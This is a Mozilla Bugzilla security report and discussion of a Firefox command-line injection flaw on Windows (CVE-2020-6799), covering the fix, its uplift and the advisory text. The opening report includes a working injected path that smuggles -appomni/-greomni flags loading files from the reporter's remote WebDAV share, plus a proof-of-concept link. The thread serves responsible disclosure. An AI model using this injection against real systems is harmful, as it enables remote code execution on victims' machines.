1606596 - (CVE-2020-6799) File association Remote Code Execution via command line parameter injection in Firefox

Status: RESOLVED FIXED

(Firefox :: Installer, defect)

Description

[Joshua Graham]

Tested on Microsoft Windows 10 Enterprise version 10.0.17763 Build 17763

Using Firefox version 71.0 (32-bit)

Steps to reproduce (local only):

• Setup Firefox as Windows' default .pdf handler (right click a pdf file -> open with -> chose other -> select always open with Firefox)
• Open the run prompt (windows key + r) and run the following URL:
• \\poiu.xss.vg@ssl\a.txt" -appomni appomni.pdf -greomni \share\greomni.pdf

Steps to reproduce (via MS Excel):

• Setup Firefox as Windows' default .pdf handler (right click a pdf file -> open with -> chose other -> select always open with Firefox)
• visit https://poiu.xss.vg/oausdhvjzlxkcn/poc.html (this will open a CSV file in excel)
• Click the link in the excel document.
• Open the greomni.pdf file

Expected Result: Firefox ignores the shell activation command as additional command line arguments are present.

Actual Result: Firefox accepts the command and runs using the greomni and appomni files from the internet share.

Detailed Information:

This issue is very similar to bug 1530103 and bug 384384 except that it is by file type association as opposed to protocol association.

In Windows, it is possible to inject arbitrary arguments when Firefox is setup as the default file handler for any file type other than .html. This can result in remote code execution when the 'greomni' flag is injected.

The attack vector is having a victim activate a URI using the file protocol (file://) or open a file in explorer where the file type's default handler is Firefox and there are double quotes in the path of the file. One way of fixing this issue is to add the 'osint' flag to the following registry key:

HKEY_CLASSES_ROOT\applications\firefox.exe\shell\open\command

i.e. change:

• "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" "%1"

to

• "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -osint "%1"

The ‘osint’ flag in the command is supposed to ensure that Firefox ignores any command line arguments that have been injected when Firefox is activated via the Windows registry. The ‘osint’ flag was introduced in 2007 in response to the following bug: https://bugzilla.mozilla.org/show_bug.cgi?id=384384

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archive. This is the same as discussed in bug 1530103.

Although it shouldn't be possible to inject double quotes in a file path in windows as the double quote character is illegal in a file path, Microsoft has confirmed that they won't be fixing this issue (https://www.zerodayinitiative.com/advisories/ZDI-19-1023/)

Credit:

Joshua Graham of TSS

Comment 1

[:Gijs (he/him)]

Thanks for the report!

(In reply to Joshua Graham from comment #0)

The attack vector is having a victim activate a URI using the file protocol (file://) or open a file in explorer where the file type's default handler is Firefox and there are double quotes in the path of the file. One way of fixing this issue is to add the 'osint' flag to the following registry key:

HKEY_CLASSES_ROOT\applications\firefox.exe\shell\open\command

i.e. change:

• "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" "%1"

to

• "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -osint "%1"

The ‘osint’ flag in the command is supposed to ensure that Firefox ignores any command line arguments that have been injected when Firefox is activated via the Windows registry. The ‘osint’ flag was introduced in 2007 in response to the following bug: https://bugzilla.mozilla.org/show_bug.cgi?id=384384

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archive. This is the same as discussed in bug 1530103.

I'm a little puzzled here. This may be a simple oversight, but if it's more than that I'd like to have it figured out...
I haven't tried the exploit myself yet, but I'd expect the -osint commandline you describe, without a further -url argument, not to work on Firefox 69+ (and newer versions of ESR), because of the changes in bug 1572838 (see code at https://searchfox.org/mozilla-central/source/toolkit/xre/CmdLineAndEnvUtils.h#197 and elsewhere ). That is, firefox.exe -osint path/to/file should, if I'm reading my own code right a few months later, fail to do anything (it'll exit early). firefox.exe -osint -url file:url-of-some-kind should work, I think. Is that what you meant, or are you also (intentionally or accidentally :-) ) reporting that those checks don't work the way I think they do?

Molly: assuming the -osint path is the way to go, how hard would it be to update existing installs so the argument is inserted as necessary? I assume fixing new installs "just" means adding things around https://searchfox.org/mozilla-central/rev/331f0c3b25089c9a16be65f4dc8c601aeaac8cc4/browser/installer/windows/nsis/shared.nsh#521 or thereabouts?

Tentatively moving to the installer component given that that's where the registration code lives.

Comment 2

[Joshua Graham]

My bad, I double checked and yes it does need -osint -url :-)

Comment 3

[:Gijs (he/him)]

(In reply to Joshua Graham from comment #2)

My bad, I double checked and yes it does need -osint -url :-)

Thanks for the quick response. I'm glad I got that right at least...

Leaving this for the installer folks to see if/how to add the -osint thing to the default open command. I also pinged bug 1531475 to see if we can just deprecate these (appomni/greomni) arguments (though that'd likely still leave other issues so we'd need to fix this bug either way).

Comment 4

[Molly Howell (she/her) (mostly inactive)]

[apologies for the slow response to a security bug; the "installer folks" are actually just me, and I'm off and not checking mail much this week]

TL;DR: I don't think we can fix this in the file association registration code.

The reason why registering a file association in the way that the STR does ends up with a command line that's missing its -osint is because our installer doesn't register us as a handler for .pdf when any other handler for it exists (an academic condition on Windows 10, because Edge always exists as a registered PDF handler). That means the Open With dialog fails to find any command string that we've created and instead synthesizes a handler with a default command line (one with no arguments). That procedure creates the HKCR\Applications\firefox.exe key for this purpose, so that's why editing the command in there works.

That all implies that we could fix this by registering as a .pdf handler, but there are two problems with that:

1. We intentionally leave out that handler as a long-standing product decision (reference bug 1573267 comment 3).
2. Worse than that, I don't see anything that makes this bug specific to PDF files; it seems like opening any local file of a type that's had an association manually created for it would trigger this, even for types we really don't support opening. And we can't have handlers for every possible file extension.

If there were a way to override the command line for all file associations registered to the .exe at a certain path, even custom-made associations, then that would work, but I can't find any such thing (that wouldn't also affect every process started from that path, which we do not want to do). We can't use the key at HKCR\Applications\firefox.exe because the File Explorer only looks it up by file name, not by anything unique to the install path.

So unless I'm wrong and there is something PDF-specific here, I'm afraid we end up needing a more general command-line handling fix.

(In reply to :Gijs (he/him) from comment #1)

Molly: assuming the -osint path is the way to go, how hard would it be to update existing installs so the argument is inserted as necessary? I assume fixing new installs "just" means adding things around https://searchfox.org/mozilla-central/rev/331f0c3b25089c9a16be65f4dc8c601aeaac8cc4/browser/installer/windows/nsis/shared.nsh#521 or thereabouts?

The command line in that key isn't used to open files, it's intended to start the application in a default state (I'm actually not sure it's used at all nowadays; it's what the old web browser shortcut that used to be at the top of the start menu would run). The command line that's used for the file type handlers we register is the one here (set by the installer) and here (set during updates).

Comment 5

[Joshua Graham]

So unless I'm wrong and there is something PDF-specific here, I'm afraid we end up needing a more general command-line handling fix.

You are correct, it isn't PDF specific, any file type association will do it.

If there were a way to override the command line for all file associations registered to the .exe at a certain path, even custom-made associations, then that would work, but I can't find any such thing (that wouldn't also affect every process started from that path, which we do not want to do). We can't use the key at HKCR\Applications\firefox.exe because the File Explorer only looks it up by file name, not by anything unique to the install path.

I'm a little confused by the "at a certain path" and "unique to the install path" parts of your comment. Custom made associations are added to HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\<extension>\UserChoice and when you chose Firefox it gets the value Applications\firefox which points it to the HKCR\Applications\firefox.exe key.

Google Chrome was vulnerable to this issue a few months back but it looks like they have patched it (not reported by me). When you set chrome to be the default it's UserChoice value becomes Applications\chrome.exe which has the value C:\Program Files...\chrome.exe -- %1%. The -- is equivalent to -osint -url in Firefox so it must be possible to update that registry key?

Comment 6

[Molly Howell (she/her) (mostly inactive)]

(In reply to Joshua Graham from comment #5)

I'm a little confused by the "at a certain path" and "unique to the install path" parts of your comment. Custom made associations are added to HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\<extension>\UserChoice and when you chose Firefox it gets the value Applications\firefox which points it to the HKCR\Applications\firefox.exe key.

The problem is that the only thing that names that key is the string firefox.exe, but the command string has to contain an absolute path to a specific installation; there's an implicit assumption there that only one binary called firefox.exe ever exists on a machine, but we explicitly support having multiple installations of Firefox that can all participate in file associations, so that assumption is wrong for us. The file type keys that we create have names that start with FirefoxHTML, followed by an installation-specific hash, so that more than one installation can participate in file associations and not just the most recently installed one. A key just named firefox.exe breaks this support. Chrome can sometimes avoid problems like this because they don't have general support for multiple installations, but one of the specific cases they do support is having different channels installed, so this breaks even that because every channel calls its binary chrome.exe just as ours are always firefox.exe.

It's possible we could do something like check on startup for an HKCR\Applications\firefox.exe key and manually update its command line no matter what installation it's for. That would still leave the first launch after the file association is created vulnerable, but it's something.

Google Chrome was vulnerable to this issue a few months back but it looks like they have patched it (not reported by me). When you set chrome to be the default it's UserChoice value becomes Applications\chrome.exe which has the value C:\Program Files...\chrome.exe -- %1%. The -- is equivalent to -osint -url in Firefox so it must be possible to update that registry key?

Hmm, I don't see where that's happening; for me running release Chrome, the Applications\chrome.exe key gets created by OpenWith.exe with the same sort of command line it uses for us, without the --, and that is the command line that's used to create the process (that is, nothing is overriding it). I thought that maybe Chrome would rewrite the registry value when it starts, but it doesn't touch it; neither does the installer. I can't find any code that would explicitly do this via their code search tool, either. Do you know if maybe that fix just isn't on their release channel yet?

Comment 7

[Joshua Graham]

I've tried on two different computer with the same version of release chrome. One is windows 10 Pro (adds --), one is Enterprise (doesn't add --). It may have nothing to do with the windows version but i'm at a loss to explain what is going on sorry.

Comment 8

[Mike Hommey [:glandium] OoO until aug 27]

I wonder at what stage of the command line "parsing" we end up considering what was supposed to be passed as one argument as multiple ones, including flags.

Comment 9

[Molly Howell (she/her) (mostly inactive)]

As a workaround, I can have the installer/updater preemptively create {HKLM,HKCU}\Applications\firefox.exe and fill it in with the correct command line. That will mean we get listed as an option in Open With for every file type, which I don't like, but by adding a SupportedTypes key we can at least keep our entry below the fold for all the types we don't support. It also means that only one installation at a time can be set this way, as discussed above, but I think that would more or less match the current behavior. I'm going to test out that idea and see if it works the way I hope it does and doesn't break anything else.

I still think the best fix is on the command-line handling side though, either by altering the parsing or by removing or restricting the arguments involved.

Comment 10

[:Gijs (he/him)]

(In reply to Mike Hommey [:glandium] from comment #8)

I wonder at what stage of the command line "parsing" we end up considering what was supposed to be passed as one argument as multiple ones, including flags.

I expect it's just that we get the arguments' argv/argc combo in main() with the wrong values? The docs at https://docs.microsoft.com/en-us/cpp/cpp/main-function-command-line-args?view=vs-2019#parsing-c-command-line-arguments (and the sad tales at https://docs.microsoft.com/en-gb/archive/blogs/twistylittlepassagesallalike/everyone-quotes-command-line-arguments-the-wrong-way ) seem to suggest that to me, but I could be wrong about that. (to offer slightly more detail: the double quotes in the file path seem to cause the subsequent arguments to be parsed as individual arguments by the C++ runtime / Windows / whatever -- rather than as a single string, which is how they were intended)

Would we be able to usefully put things back together at that point, in a way that wouldn't break legitimate uses? It seems pretty audacious to be claiming we can do the arg parsing better than the OS, especially if information (about escaping etc.) already got thrown away when the URL was initially passed by the OS. Nathan, what do you think?

Comment 11

[Mike Hommey [:glandium] OoO until aug 27]

My reading of your comment is that Windows itself would be doing something wrong and there's not much we can do about it, except not allowing any flags on the command line at all...

Comment 12

[:Gijs (he/him)]

(In reply to Mike Hommey [:glandium] from comment #11)

My reading of your comment is that Windows itself would be doing something wrong and there's not much we can do about it, except not allowing any flags on the command line at all...

This is my interpretation of comment #0, yeah, esp:

Although it shouldn't be possible to inject double quotes in a file path in windows as the double quote character is illegal in a file path, Microsoft has confirmed that they won't be fixing this issue (https://www.zerodayinitiative.com/advisories/ZDI-19-1023/)

That is, my understanding is that Windows' system for quoting means that the " in the filename ought to be preceded by a \. I'd expect the steps from comment #0 with:

\\poiu.xss.vg@ssl\a.txt\" -appomni appomni.pdf -greomni \share\greomni.pdf

To be parsed correctly, assuming the windows run dialog basically resolves the entire string as a file, then passes it to Firefox in double quotes - because after all, file names can't contain double quotes. Except here, they do.

But that report points to a webdav issue. Reporter, can you clarify whether a similar exploit also works with other applications and their commandline switches? (doesn't necessarily have to do anything "bad", just, does it break commandline parsing for all apps, or are we the odd one out?)

Anyway, it's also totally plausible that I'm misreading what's going on here. But I think our commandline parsing by and large trusts the argv/argc stuff we get, and doesn't try to take a full input string and parse it ourselves in some way - or otherwise reconstitute command line switches or what-have-you.

Comment 13

[Molly Howell (she/her) (mostly inactive)]

The workaround I mentioned in comment 9 does appear to do the job, as in processes that are created to open files with custom associations get the correct command line after that change, and it doesn't seem to have any confusing effects on the open with dialog (I tried it on Windows 7 and 10). So, since the command-line handling side is still under active discussion I think it's a good idea to go ahead and get that patch moving.

Comment 14

[Molly Howell (she/her) (mostly inactive)]

Attachment: Bug 1606596 - Install/uninstall an HKCR\Applications key for firefox.exe. r=agashlin

Comment 15

[Joshua Graham]

But that report points to a webdav issue. Reporter, can you clarify whether a similar exploit also works with other applications and their commandline switches? (doesn't necessarily have to do anything "bad", just, does it break commandline parsing for all apps, or are we the odd one out?)

Yes, this is not a Firefox specific issue. Similar exploits work on other applications. The Zero Day Initiative report detailed the underlying issue to Microsoft (i.e. fix the WebDAV client so that double quotes can't appear in the path) in the hope that the attack vector could be killed altogether. Since the attack vector will remain I decided to report it to the individual applications to see if they could mitigate the risk themselves.

Do you still need my WebDAV server up for you to reproduce the issue? or am I OK to take it down?

Comment 16

[Molly Howell (she/her) (mostly inactive)]

I don't need the WebDAV server for my part; redirecting to Gijs who asked about it.

Comment 17

[:Gijs (he/him)]

The webdav server is probably going to be useful to QA to verify that the issue is fixed, so if it is not onerous to keep the server up I think that would be desirable. If it isn't viable for you to do so, where would I look for instructions to set this type of thing up ourselves?

Comment 18

[Joshua Graham]

I'm happy to keep it online. I'll attach the server code to this bug when I get home so you can reproduce it in case my server dies for some reason.

Comment 19

[Joshua Graham]

The chrome team (on a separate bug report) made a comment that might apply here:

... We need some logic that does something sensible when writing this key. One possibility: when installing, only populate Applications (and App Paths) if no such registration exists. Or maybe make sure it's the "most stable" of the various install modes (e.g., if system-level dev and beta are both installed, beta wins). We'd also want some repair on uninstall: when uninstalling beta, dev should magically take over. When any mode of installation is made a user's default browser, write its config in that user's HKCU hive. ...

Comment 20

[Molly Howell (she/her) (mostly inactive)]

(In reply to Joshua Graham from comment #19)

The chrome team (on a separate bug report) made a comment that might apply here:

... We need some logic that does something sensible when writing this key. One possibility: when installing, only populate Applications (and App Paths) if no such registration exists. Or maybe make sure it's the "most stable" of the various install modes (e.g., if system-level dev and beta are both installed, beta wins). We'd also want some repair on uninstall: when uninstalling beta, dev should magically take over. When any mode of installation is made a user's default browser, write its config in that user's HKCU hive. ...

That is relevant, thank you. We have really all of these same problems, but what's in my patch isn't this sophisticated, partly because I don't think it's worth the effort, but also because I don't think it's appropriate for me to make decisions for the user about what channel they meant to be using.

Comment 21

[Joshua Graham]

Attachment: Simple node WebDAV server that will respond to any folder/file name

This is a simple WebDAV server that you can use to test bug 1606596. To make it work install node/npm, install express (nmp install express ) and start the server node firefox.js 80 pdf.

Comment 22

[Joshua Graham]

If this ends up getting credited in the change log could you please make the credit:

Joshua Graham of TSS & Brendan Scarvell

If you have to use a single name just:

Brendan Scarvell

Brendan's name was left out of bug 1530103 and he deserves credit. :-). If there is a bounty, does Firefox match if we donate it to charity? I would like to give the money to one of the Australian bush fire charities.

Comment 23

[Nathan Froyd [:froydnj]]

(In reply to :Gijs (he/him) from comment #10)

(In reply to Mike Hommey [:glandium] from comment #8)

I wonder at what stage of the command line "parsing" we end up considering what was supposed to be passed as one argument as multiple ones, including flags.

I expect it's just that we get the arguments' argv/argc combo in main() with the wrong values? The docs at https://docs.microsoft.com/en-us/cpp/cpp/main-function-command-line-args?view=vs-2019#parsing-c-command-line-arguments (and the sad tales at https://docs.microsoft.com/en-gb/archive/blogs/twistylittlepassagesallalike/everyone-quotes-command-line-arguments-the-wrong-way ) seem to suggest that to me, but I could be wrong about that. (to offer slightly more detail: the double quotes in the file path seem to cause the subsequent arguments to be parsed as individual arguments by the C++ runtime / Windows / whatever -- rather than as a single string, which is how they were intended)

Would we be able to usefully put things back together at that point, in a way that wouldn't break legitimate uses? It seems pretty audacious to be claiming we can do the arg parsing better than the OS, especially if information (about escaping etc.) already got thrown away when the URL was initially passed by the OS. Nathan, what do you think?

I'm unclear on what the question here is. Are you asking "should we try to discern whether arguments that were meant to be usefully double-quoted actually got split into separate argv values and try to reassemble them"? That way sounds fraught with all sorts of terror (but maybe people already do this to cope with broken software?).

Comment 24

[:Gijs (he/him)]

(In reply to Nathan Froyd [:froydnj] from comment #23)

Yeah, sorry for rambling. Let me try to clarify inline. I think I have two questions:

(In reply to :Gijs (he/him) from comment #10)

(In reply to Mike Hommey [:glandium] from comment #8)

I wonder at what stage of the command line "parsing" we end up considering what was supposed to be passed as one argument as multiple ones, including flags.

I expect it's just that we get the arguments' argv/argc combo in main() with the wrong values? The docs at https://docs.microsoft.com/en-us/cpp/cpp/main-function-command-line-args?view=vs-2019#parsing-c-command-line-arguments (and the sad tales at https://docs.microsoft.com/en-gb/archive/blogs/twistylittlepassagesallalike/everyone-quotes-command-line-arguments-the-wrong-way ) seem to suggest that to me, but I could be wrong about that. (to offer slightly more detail: the double quotes in the file path seem to cause the subsequent arguments to be parsed as individual arguments by the C++ runtime / Windows / whatever -- rather than as a single string, which is how they were intended)

Does this seem like an accurate read of what's going on?

Would we be able to usefully put things back together at that point, in a way that wouldn't break legitimate uses? It seems pretty audacious to be claiming we can do the arg parsing better than the OS, especially if information (about escaping etc.) already got thrown away when the URL was initially passed by the OS. Nathan, what do you think?

I'm unclear on what the question here is. Are you asking "should we try to discern whether arguments that were meant to be usefully double-quoted actually got split into separate argv values and try to reassemble them"? That way sounds fraught with all sorts of terror (but maybe people already do this to cope with broken software?).

And yes, the "do we have a chance to recover from the OS's mistake", and you kinda answered that one...

Comment 25

[Robert Strong (they/them - no direct email)]

No idea if this is helpful but there is a command line argument test that checks the reassembly of command line arguments when having to relaunch Firefox with the original command line under
https://searchfox.org/mozilla-central/source/toolkit/xre/test/win

It verifies that our argument cleanup is equivalent to the cleanup performed by the OS. The arguments it tests are in
https://searchfox.org/mozilla-central/source/toolkit/xre/test/win/TestXREMakeCommandLineWin.ini

Comment 26

[Nathan Froyd [:froydnj]]

(In reply to :Gijs (he/him) from comment #24)

(In reply to :Gijs (he/him) from comment #10)

(In reply to Mike Hommey [:glandium] from comment #8)

I wonder at what stage of the command line "parsing" we end up considering what was supposed to be passed as one argument as multiple ones, including flags.

I expect it's just that we get the arguments' argv/argc combo in main() with the wrong values? The docs at https://docs.microsoft.com/en-us/cpp/cpp/main-function-command-line-args?view=vs-2019#parsing-c-command-line-arguments (and the sad tales at https://docs.microsoft.com/en-gb/archive/blogs/twistylittlepassagesallalike/everyone-quotes-command-line-arguments-the-wrong-way ) seem to suggest that to me, but I could be wrong about that. (to offer slightly more detail: the double quotes in the file path seem to cause the subsequent arguments to be parsed as individual arguments by the C++ runtime / Windows / whatever -- rather than as a single string, which is how they were intended)

Does this seem like an accurate read of what's going on?

Yes. For avoidance of doubt (and so somebody can correct me I'm wrong, which is likely), my understanding is that we have:

"path\to\firefox.exe" "%1"

in the registry for executing Firefox, and somebody specifies the weird string in comment 0. Through string substitution, we get:

"path\to\firefox.exe" "\\stuff\a.txt" -flagsandstuff"

and then...something...strips off quotes, so we have:

path\to\firefox.exe \\stuff\a.txt -flagsandstuff["]

(not sure what happens to that last quote, I guess if you just str.remove('"') or similar, it'd be gone, rather than trying to balance quotes?)

Not sure what happens next, but I guess the exact steps don't matter: that command line eventually winds up being split on spaces to wind up in Firefox's argv? (From my limited understanding, this all sounds terrible, and basically everybody would have to implement something similar to what mhowell's patch (and -osint?) does to avoid letting file arguments actually specify arbitrary command-line arguments?)

Would we be able to usefully put things back together at that point, in a way that wouldn't break legitimate uses? It seems pretty audacious to be claiming we can do the arg parsing better than the OS, especially if information (about escaping etc.) already got thrown away when the URL was initially passed by the OS. Nathan, what do you think?

I'm unclear on what the question here is. Are you asking "should we try to discern whether arguments that were meant to be usefully double-quoted actually got split into separate argv values and try to reassemble them"? That way sounds fraught with all sorts of terror (but maybe people already do this to cope with broken software?).

And yes, the "do we have a chance to recover from the OS's mistake", and you kinda answered that one...

Yeah, I think looking at what we have in that last command line up there, we'd have to infer the location of the double quote, and determine what elements of argv should effectively be re-concatenated, which isn't going to turn out well for anybody. And I think this is a different scenario than rstrong posted in comment 25 (which is helpful; I didn't know about that test!): we're not trying to reassemble things to relaunch anything, but we're trying to discern whether arguments got split by whatever launched us in a way that was not intended.

Comment 27

[Molly Howell (she/her) (mostly inactive)]

Comment on attachment 9119189 [details]
Bug 1606596 - Install/uninstall an HKCR\Applications key for firefox.exe. r=agashlin

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Not very easily I think; the patch necessarily points to a scenario where file associations with command lines missing a -osint can get created, but doesn't go into the implications of that.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: All
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Should be trivial; code around this patch hasn't changed in years.
• How likely is this patch to cause regressions; how much testing does it need?: I'm confident in this patch. There are some known limitations and drawbacks which are discussed in the review, but regression risk should be minimal because the patch involves a set of file association configurations that is separate from the ones the installer otherwise creates and manipulates, so regressing those is very unlikely.

To be clear, I don't think of this patch as the real fix for the bug, just as a stopgap until the command line changes being discussed above are in. With something like this I can only patch one method of launching Firefox with attacker-controlled command-line parameters, but there are likely others, and I can't even guarantee that I'm patching all existing file associations (because command lines might have been copied elsewhere in the registry).

Comment 28

[Tom Ritter [:tjr]]

Comment on attachment 9119189 [details]
Bug 1606596 - Install/uninstall an HKCR\Applications key for firefox.exe. r=agashlin

Approved to land and request uplift.

Comment 29

[Molly Howell (she/her) (mostly inactive)]

https://hg.mozilla.org/integration/autoland/rev/1bfc604fa210

Comment 30

[Molly Howell (she/her) (mostly inactive)]

Comment on attachment 9119189 [details]
Bug 1606596 - Install/uninstall an HKCR\Applications key for firefox.exe. r=agashlin

Beta/Release Uplift Approval Request

• User impact if declined: Exposure to remote code execution at the user's privilege level upon clicking a link, provided the client machine is already configured with at least one manually created file type association.
• Is this code covered by automated tests?: No
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): I'm confident in this patch. There are some known limitations and drawbacks which are discussed in the review, but regression risk should be minimal because the patch involves a set of file association configurations that is separate from the ones the installer otherwise creates and manipulates (which include the common web page file types), so regressing those is very unlikely. It's also been manually tested by myself and the reviewer.
• String changes made/needed: N/A

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: This is a sec-high bug.
• User impact if declined: Exposure to remote code execution at the user's privilege level upon clicking a link, provided the client machine is already configured with at least one manually created file type association.
• Fix Landed on Version: 74
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): I'm confident in this patch. There are some known limitations and drawbacks which are discussed in the review, but regression risk should be minimal because the patch involves a set of file association configurations that is separate from the ones the installer otherwise creates and manipulates (which include the common web page file types), so regressing those is very unlikely. It's also been manually tested by myself and the reviewer.
• String or UUID changes made by this patch: N/A

Comment 31

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/1bfc604fa210

Comment 32

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9119189 [details]
Bug 1606596 - Install/uninstall an HKCR\Applications key for firefox.exe. r=agashlin

Approved for 73.0b5 so we can get some wider testing.

Comment 33

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/34a98c5e4134

Comment 34

[Julien Cristau [:jcristau]]

Comment on attachment 9119189 [details]
Bug 1606596 - Install/uninstall an HKCR\Applications key for firefox.exe. r=agashlin

I'd rather not take this in a dot release, it can go out with 73 in a few weeks.

Comment 35

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9119189 [details]
Bug 1606596 - Install/uninstall an HKCR\Applications key for firefox.exe. r=agashlin

Approved for 68.5esr. I'm a bit worried about potential enterprise fallout, though. Mike, are you aware of anything in particular we might want to test with this before shipping in 2 weeks?

Comment 36

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr68/rev/b25bc5d633fe

Comment 37

[Mike Kaply [:mkaply]]

I honestly don't have a good sense of what this fix exactly does.

What we're going to need to do is explain it really well so we can determine if it will cause any issues.

Comment 38

[Molly Howell (she/her) (mostly inactive)]

The most noticeable user-visible effect of this change is that we'll be listed in the Open With dialog for every file type, but "below the fold" for types we don't claim to support (meaning you have to expand the More Apps section to see it). This is a side-effect of the actual intended fix.

The actual intended fix is to replace the registry key that the Open With dialog creates when you manually associate us with a file type we don't claim support for (.pdf is the most common example), which we need to do because the default command line it writes into that key is insecure. So, the other effect this patch might have is that if anyone has customized any of the values we're going to write in HKEY_CLASSES_ROOT\Applications\firefox.exe, then those customization will be overwritten. This includes the command line string, the default icon, and the supported file types, but not any of the more common things that tend to get customized in that key, like NoStartPage, so those won't be affected. The uninstaller will remove the entire key if the command line points to the copy being uninstalled, though.

I think that covers it. I know it's complicated and subtle, but HKCR is like that.

Comment 39

[Mike Kaply [:mkaply]]

Is that true of other browsers as well? Or is this problem unique to us, and so is the workaround?

Comment 40

[Molly Howell (she/her) (mostly inactive)]

The reporter here indicated that Chrome had a similar bug but patched it a few months ago, but I wasn't able to see the patch myself; see the ends of comment 5 and comment 6.

Comment 41

[Joshua Graham]

I was wrong about Chrome, it has not been patched and I have opened a bug report with their team.

Comment 42

[Molly Howell (she/her) (mostly inactive)]

I see, thanks for doing that and reporting back.

Comment 43

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 44

[Joshua Graham]

Hi @Tom.
Could you please use Joshua Graham & Brendan Scarvell for credit?

This advisory text might be a little more technically accurate if you would like to use it instead (modified from the previous advisory https://www.mozilla.org/en-US/security/advisories/mfsa2019-08/#CVE-2019-9794):

A vulnerability was discovered where command line arguments can be injected during Firefox invocation as a shell handler for certain unsupported file types. This could be used to retrieve and execute files whose location is supplied through these command line arguments if Firefox is configured as the default handler for a given file type and the file is opened in third party application as these applications insufficiently sanitize URL data.<br>Note: This issue only affects Windows operating systems. Other operating systems are unaffected.
Joshua Graham & Brendan Scarvell

Comment 45

[Julien Cristau [:jcristau]]

see comment 44.

Comment 46

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Thanks!